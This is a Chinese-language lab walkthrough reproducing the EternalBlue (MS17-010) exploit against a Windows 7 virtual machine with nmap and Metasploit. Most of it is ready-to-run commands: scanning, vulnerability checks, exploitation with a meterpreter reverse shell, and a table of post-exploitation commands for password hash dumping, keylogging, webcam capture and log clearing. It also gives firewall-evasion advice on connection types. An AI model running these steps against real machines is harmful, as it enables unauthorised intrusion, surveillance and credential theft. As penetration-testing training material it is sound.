一. 前言
1. 漏洞描述
Eternalblue 通过 TCP 端口 445 和 139 来利用 SMBv1 和 NBT 中的远程代码执行漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
2.漏洞影响
目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
二. 复现环境
-
虚拟环境搭建:
VMware Workstation 17 pro
-
网络模式:
NAT
-
攻击机:
kali Linux WSL
-
攻击机 IP:
192.168.97.173
-
攻击工具:
nmap
metasploit(MSF)
-
靶机:
cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408
(前提 win7 关闭防火墙) -
靶机 IP:
192.168.97.128
三. 启动 MSF
-
安装 MSF
Terminal window curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall -
进入框架
Terminal window msfconsole -
初始化
Terminal window init
四. 寻找主机
-
ipconfig
使用
ipconfig
分别查看 win7 和 kali 中的 ip 地址 -
nmap
Terminal window nmap -T5 -sP 192.168.97.0/24-T5
:使用速度模板**T5
**,表示激进的扫描速度。-sP
:执行 Ping 连接扫描。192.168.97.0/24
:扫描指定的 IP 地址范围。
IP 地址 私有 ip 范围 子网掩码 CIDR A 类地址 10.0.0.0 ~ 10.255.255.255 255.0.0.0 10.0.0.0/8 B 类地址 172.16.0.0 ~ 173.31.255.255 255.255.0.0 172.16.0.0/16 C 类地址 192.168.0.0 ~ 192.168.255.255 255.255.255.0 192.168.0.0/24
五. 端口扫描
-
nmap
Terminal window nmap -T5 -sT 192.168.97.128-T5
:使用速度模板**T5
**,表示激进的扫描速度。-sT
:执行 TCP 连接扫描。192.168.97.128
:扫描指定的 IP
-
MSF 端口扫描
-
使用模块
Terminal window use auxiliary/scanner/portscan/tcp -
设置扫描 ip
Terminal window set rhosts 192.168.97.128 -
运行
Terminal window run
-
六. 查找永恒之蓝漏洞
微软 永恒之蓝 编号ms17-010
search ms17_010
-
exploit/windows/smb/ms17_010_eternalblue
- 这个模块利用了 MS17-010 漏洞,通过 EternalBlue 攻击载荷,远程执行代码。
- EternalBlue 利用 Windows 的 Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
- 攻击成功后,通常会在目标机器上生成一个 Meterpreter 会话,从而允许进一步的渗透测试操作。
-
exploit/windows/smb/ms17_010_psexec
- 这个模块结合 MS17-010 漏洞和 Psexec 技术,通过 SMB 协议在目标系统上执行命令。
- 利用 MS17-010 漏洞进行初始攻击,然后使用 Psexec 进行进一步的远程命令执行。
- 适用于在利用 MS17-010 漏洞后希望使用 Psexec 执行进一步的命令和控制操作时。
-
auxiliary/admin/smb/ms17_010_command
- 这个辅助模块用于通过 MS17-010 漏洞在目标系统上执行指定的命令。
- 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
- 适用于希望通过 MS17-010 漏洞在目标系统上执行单个命令的场景。
-
auxiliary/scanner/smb/smb_ms17_010
- 这个辅助模块用于扫描目标系统是否存在 MS17-010 漏洞。
- 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受 MS17-010 漏洞的影响。
七. 漏洞检测
-
使用探测模块
-
使用
Auxiliary
辅助探测模块Terminal window use auxiliary/scanner/smb/smb_ms17_010或
Terminal window use 24 -
查看需要配置的参数
Terminal window show options -
设置目标主机地址
Terminal window set rhosts 192.168.97.128 -
运行
Terminal window run
-
-
nmap
Terminal window nmap --script smb-vuln-ms17-010 192.168.97.128
八. 漏洞攻击
-
加载 ms17-010 攻击模块
Terminal window use exploit/windows/smb/ms17_010_eternalblue -
设置目标主机地址
Terminal window set rhosts 192.168.97.128 -
设置连接方式为反向连接
Terminal window set payload windows/x64/meterpreter/reverse_tcp -
运行
Terminal window run
Meterpreter 的命令用法
==========================================核心命令:==========================================命令 说明------- ------------? 帮助菜单background 把当前会话挂到后台运行bg background命令的别名bgkill 杀死后台meterpreter 脚本bglist 列出正在运行的后台脚本bgrun 执行一个meterpreter脚本作为后台线程channel 显示信息或控制活动频道close 关闭一个频道detach 分离Meterpreter会话(用于 http/https)disable_unicode_encoding 禁用 unicode 字符串的编码enable_unicode_encoding 启用 unicode 字符串的编码exit 终止 Meterpreter 会话get_timeouts 获取当前会话超时值guid 获取会话 GUIDhelp 帮助菜单info 显示有关 Post 模块的信息irb 在当前会话中打开一个交互式 Ruby shellload 加载一个或多个 Meterpreter 扩展machine_id 获取连接到会话的机器的 MSF IDmigrate 将服务器迁移到另一个进程pivot 管理枢轴侦听器pry 在当前会话上打开 Pry 调试器quit 终止 Meterpreter 会话read 从通道读取数据resource 运行存储在文件中的命令run 执行一个 Meterpreter 脚本或 Post 模块secure (重新)协商会话上的 TLV 数据包加密sessions 快速切换到另一个会话set_timeouts 设置当前会话超时值sleep 强制 Meterpreter 安静,然后重新建立会话ssl_verify 修改 SSL 证书验证设置transport 管理运输机制use 不推荐使用的load命令别名uuid 获取当前会话的 UUIDwrite 将数据写入通道
==========================================Stdapi:文件系统命令==========================================
命令 说明------- ------------cat 将文件内容读到屏幕上cd 切换目录checksum 检索文件的校验和cp 将源复制到目标del 删除指定文件dir 列出文件(ls 的别名)download 下载文件或目录edit 编辑文件getlwd 打印本地工作目录getwd 打印工作目录lcd 更改本地工作目录lls 列出本地文件lpwd 打印本地工作目录ls 列出文件mkdir 制作目录mv 将源移动到目标pwd 打印工作目录rm 删除指定文件rmdir 删除目录search 搜索文件show_mount 列出所有挂载点/逻辑驱动器upload 上传文件或目录
==========================================Stdapi:网络命令==========================================命令 说明------- ------------arp 显示主机 ARP 缓存getproxy 显示当前代理配置ifconfig 显示界面ipconfig 显示接口netstat 显示网络连接portfwd 将本地端口转发到远程服务resolve 解析目标上的一组主机名route 查看和修改路由表
==========================================Stdapi:系统命令==========================================命令 说明------- ------------clearev 清除事件日志drop_token 放弃任何活动的模拟令牌。execute 执行命令getenv 获取一个或多个环境变量值getpid 获取当前进程标识符getprivs 尝试启用当前进程可用的所有权限getid 获取服务器运行的用户的 SIDgetuid 获取服务器运行的用户kill 终止进程localtime 显示目标系统本地日期和时间pgrep 按名称过滤进程pkill 按名称终止进程ps 列出正在运行的进程reboot 重启远程计算机reg 修改远程注册表并与之交互rev2self 在远程机器上调用 RevertToSelf()shell 放入系统命令 shellshutdown 关闭远程计算机steal_token 尝试从目标进程窃取模拟令牌suspend 暂停或恢复进程列表sysinfo 获取有关远程系统的信息,例如 OS
==========================================Stdapi:用户界面命令==========================================命令 说明------- ------------enumdesktops 列出所有可访问的桌面和窗口站getdesktop 获取当前的meterpreter桌面idletime 返回远程用户空闲的秒数keyboard_send 发送击键keyevent 发送按键事件keyscan_dump 转储击键缓冲区keyscan_start 开始捕获击键keyscan_stop 停止捕获击键mouse 发送鼠标事件screenshare 实时观看远程用户桌面screenshot 抓取交互式桌面的截图setdesktop 更改meterpreters当前桌面uictl 控制一些用户界面组件
==========================================Stdapi:网络摄像头命令:==========================================命令 说明------- ------------record_mic 从默认麦克风录制音频 X 秒webcam_chat 开始视频聊天webcam_list 列出网络摄像头webcam_snap 从指定的网络摄像头拍摄快照webcam_stream 从指定的网络摄像头播放视频流
==========================================Stdapi:音频输出命令:==========================================命令 说明------- ------------play 在目标系统上播放波形音频文件 (.wav)
==========================================Priv:权限提升命令:==========================================命令 说明------- ------------getsystem 尝试将您的权限提升到本地系统的权限。
==========================================Priv:密码数据库命令:==========================================命令 说明------- ------------hashdump 转储 SAM 数据库的内容
==========================================Priv:Timestomp 命令:==========================================命令 说明------- ------------timestomp 操作文件 MACE 属性
使用发放
基础使用
-
进入框架
Terminal window msfconsole -
查找漏洞
Terminal window search 漏洞编号 -
使用模块
Terminal window run
Meterpreter 工作原理
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind 正向连接,或者反弹 reverse 连接。反射连接的时候加载 dll 链接文件,同时后台悄悄处理 dll 文件。其次 Meterpreter 核心代码初始化,通过 socket 套接字建立一个 TLS/1.0 加密隧道并发送 GET 请求给 Metasploit 服务端。Metasploit 服务端收到这个 GET 请求后就配置相应客户端。最后,Meterpreter 加载扩展,所有的扩展被加载都通过 TLS/1.0 进行数据传输。
漏洞利用(exploit)
漏洞利用 exploit,也就是我们常说的 exp,他就是对漏洞进行攻击的代码。
exploit 漏洞利用模块路径(这里面有针对不同平台的 exploit):
/usr/share/metasploit-framework/modules/exploits
攻击载荷(payload)
Payload:Payload 中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在 Metasploit 中 Payload 是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了 Payload 在目标系统中的行为。
Shellcode:Shellcode 是 payload 中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode 通常用汇编语言编写。在大多数情况下,目标系统执行了 shellcode 这一组指令之后,才会提供一个命令行 shell。
payload 模块路径
/usr/share/metasploit-framework/modules/payloads
Metasploit 中的 Payload 模块主要有以下三种类型
-
Single:
是一种完全独立的 Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于 Single Payload 是完全独立的,因此它们有可能会被类似 netcat 这样的非 metasploit 处理工具所捕捉到。
-
Stager:
这种 Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的 Stager Payload 就是 reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是 bind_tcp,它可以让目标系统开启一个 tcp 监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
-
Stage:
是 Stager Payload 下的一种 Payload 组件,这种 Payload 可以提供更加高级的功能,而且没有大小限制。
几种常见的 payload
-
正向连接
Terminal window windows/meterpreter/bind_tcp -
反向连接
Terminal window windows/meterpreter/reverse_tcp -
过监听 80 端口反向连接
Terminal window windows/meterpreter/reverse_http -
通过监听 443 端口反向连接
Terminal window windows/meterpreter/reverse_https
使用场景
-
正向连接使用场景:
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了 80 端口。那么,我们就只能设置正向连接 80 端口了,这里很有可能失败,因为 80 端口上的流量太多了。
-
反向连接使用场景:
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
-
反向连接 80 和 443 端口使用场景:
被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的 80 端口或 443 端口与外部通信。